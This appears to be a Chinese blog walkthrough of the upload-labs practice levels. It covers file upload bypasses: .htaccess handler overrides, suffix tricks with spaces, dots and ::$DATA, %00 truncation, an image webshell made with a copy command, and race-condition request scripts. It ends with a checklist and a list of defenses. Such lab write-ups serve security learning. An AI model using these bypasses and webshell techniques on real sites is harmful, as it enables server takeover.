常见文件上传漏洞
level4 .htaccess文件上传
虽然还是黑名单,但几乎过滤了所有有问题的后缀名,除了.htaccess,于是首先上传一个.htaccess内容如下的文件:
SetHandler application/x-httpd-php
这样所有文件都会解析为php,然后再上传图片马,就可以解析
level6 空格绕过
还是黑名单,但是没有对后缀名进行去空处理,可在后缀名中加空绕过:
level7 点号绕过
后缀加点绕过【受php版本影响,似乎5.6以下才有作用,php7默认关闭了配置文件对应漏洞项】
level8 ::$DATA
后缀加::$DATA绕过
注意最后getshell复制文件路径时,不要带上::$DATA
level9 处理机制绕过
各种限制难以绕过,但因为处理顺序原因,可以利用处理机制进行绕过
payload:post1.php. .【后缀加上点+空格+点】
因为后端校验后会删除最后的一个点和空格,保留了一个点,所以可以成功绕过黑名单
level11 get、%00截断
%00截断的条件
php版本小于5.3.29
magic_quotes_gpc = Off
level12 post、%00截断
和十一关不同的是这次的save_path是通过post传进来的,还是利用00截断,但这次需要在二进制中进行修改,因为post不会像get对%00进行自动解码。
然后修改十六进制
一般来说,一个字符占一个16进制位置
level13 文件头
校验代码
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
通过读文件的前2个字节判断文件类型,因此直接上传图片马即可,制作方法:
copy normal.jpg /b + shell.php /a webshell.jpg【或者用工具“edjpgcom.exe”制作】
接下来利用的话,还需要结合文件包含漏洞。
level14 getimagesize()
校验代码
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
这里用getimagesize获取文件类型,还是直接就可以利用图片马就可进行绕过:
level15 exif_imagetype()
校验代码
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
这里用到php_exif模块来判断文件类型,还是直接就可以利用图片马就可进行绕过:
level17 条件竞争
校验代码
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
因为文件上传在校验之前【即实际已经成功上传,不过后期因为校验发现异常删除文件】,所以可以通过burp不断发送请求,不断的上传与删除之间会构造出时间差(条件竞争),可以成功访问尚未删除的文件。
因为时间较短,所以很难访问webshell,但是可以构造phpinfo的一句话木马,在浏览器中不断刷新访问,直到成功访问为止【实际上,浏览器很难成功看到访问成功,建议通过脚本不断请求页面,当响应为200时,将响应数据包的数据dump到本地文件中,作为html文件在本地浏览器打开查看】
并发线程最大化,可以不断上传文件,使条件竞争的优势最大化
request的参考脚本:
import requests
url = "http://192.168.1.105/upload/upload/phpinfo.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
text = html.text.encode(html.encoding).decode(html.apparent_encoding) #处理编码后写入文本文件
with open('phpinfo.html','w+',encoding='utf-8') as f:
f.write(text)
break
else:
print("not found")
level18
同样的这也属于条件竞争的一种,只不过文件的形式不同而已。其实可以直接上传图片马,因为页面会回显改名后的图片马的位置,直接文件包含也能生成shell.php。
读取文件包含的php文件请求脚本参考:
import requests
url = "http://www.bj.com/upload-labs/upload/include.php?page=./../shell.png"
while True:
html = requests.get(url)
if ( 'Warning' not in str(html.text)):
print('ok')
break
参考网上的,没有尝试,但大致思路正确
值得注意的是这里也可以将php文件后缀名更改为.php.7z,因为白名单中允许上传.7z的文件,但是apache又不能解析这个格式,所以会把该文件当php的格式解析。
利用文件包含可以成功getshell
level19
上传php文件,自定义名称后缀为jpg,结合文件包含漏洞利用;
结合.号和空格利用【可能要%00截断那样的利用条件】;
%00截断;
图片木马结合文件包含;
重命名后缀加上.绕过【move_uploaded_file会忽略掉文件末尾的/. ,且无需%00的利用条件】;
重命名后缀加上/.绕过;
level20
图片木马结合文件包含;
网上还有数组和\的组合构造(未尝试)
思考角度:
通过burp,上传文件,查看是否有前端的限制【前端限制全部可以绕过】;
mimetype类型更改【多分content-type的话,都要修改】;
.htaccess文件上传
【两种类型
1、AddType application/x-httpd-php .png
{让png解析成php}
2、 <FilesMatch “1”>
SetHandler application/x-httpd-php
{让所有文件名包含1的文件解析成php}
】;
文件头修改【建议连同mimetype也一起修改】;
如果是后端校验,尝试后缀爆破,看是否可以绕过黑名单【后缀爆破可以结合各种绕过方式】;::DATA,空格,点号后缀要注意;
保存路径可控,且符合条件,可尝试%00截断;
条件竞争无法观察,只能直接爆破尝试是否存在;
后缀加上.或/.绕过【move_uploaded_file会忽略掉文件末尾的/. ,且无需%00的利用条件】;
图片木马结合文件包含;
注意:
图片木马都必须结合文件包含或者修改.htaccess才可以利用【即使只是修改文件后缀,并非真正图片改写得到也是如此】
条件竞争通常只能结合脚本利用phpinfo,其他的因为文件保留时间太短,难以利用【也许结合脚本,快速处理一些简单系统命令,返回结果这些可以做到,类似phpinfo那样,结合脚本记录到文本文件可能比较好】
图片木马可以结合文件包含成功getshell
单纯地改后缀,mimetype会同步变化,但文件头不会,所以涉及文件头的话,建议还是合成图片木马比较好
防御
1.黑白名单;
2.对上传的文件重命名,不易被猜测;
3.对上传的内容进行读取检查;
4.不要暴露上传文件的位置;
5.禁用上传文件的执行权限;
1-19关参考
1-20关参考
文件解析漏洞总结1
文件解析漏洞总结2
文件解析漏洞总结3
本博客由自己实验,并参考部分博文写成。如有作者觉得侵权,请联系本人删除。
有些东西只是自己的猜测,如果有不正确的地方,欢迎各位大佬指正。